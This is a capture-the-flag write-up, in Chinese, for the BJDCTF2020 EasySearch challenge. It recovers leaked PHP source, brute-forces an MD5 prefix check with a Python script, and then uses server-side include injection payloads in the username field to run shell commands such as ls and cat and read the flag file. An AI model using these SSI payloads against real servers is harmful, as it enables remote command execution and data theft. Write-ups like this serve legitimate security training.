BJDCTF2020EasySearch

老样子还是得扫后台扫到一个index.php.swp 进入后给了源码 重点是这部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);

只要有一个密码前六位的MD5是6d0bc1 跑脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashlib

a= "0123456789"
for o in a:
for p in a:
for q in a:
for r in a:
for s in a:
for t in a:
for u in a:
b = str(o)+str(p)+str(q)+str(r)+str(s)+str(t)+str(u)
md5 = hashlib.md5(b.encode('utf-8')).hexdigest()
if ((md5[0:6])=='6d0bc1'):
print b

2020666
2305004
9162671 这仨结果随便选一个 username=2020666&password=2020666
然后抓包发现这边好像会写入一个.shtml 的文件可以访问

68.PNG

69.PNG

百度了一下这边可以进行ssi注入

70.PNG

参考链接:https://www.cnblogs.com/bonelee/p/12027775.html
可以进行远程命令执行

传个ls试试

1
username=<!--#exec cmd="ls" -->&password=2020666

67.PNG

可以访问到but该文件 flag不在这

72.PNG

返回上一个目录

1
username=<!--#exec cmd="ls ../" -->&password=2020666  

74.PNG

看样子可以找到flag
传入:

1
username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2" -->&password=2020666

访问生成的文件 ok

73.PNG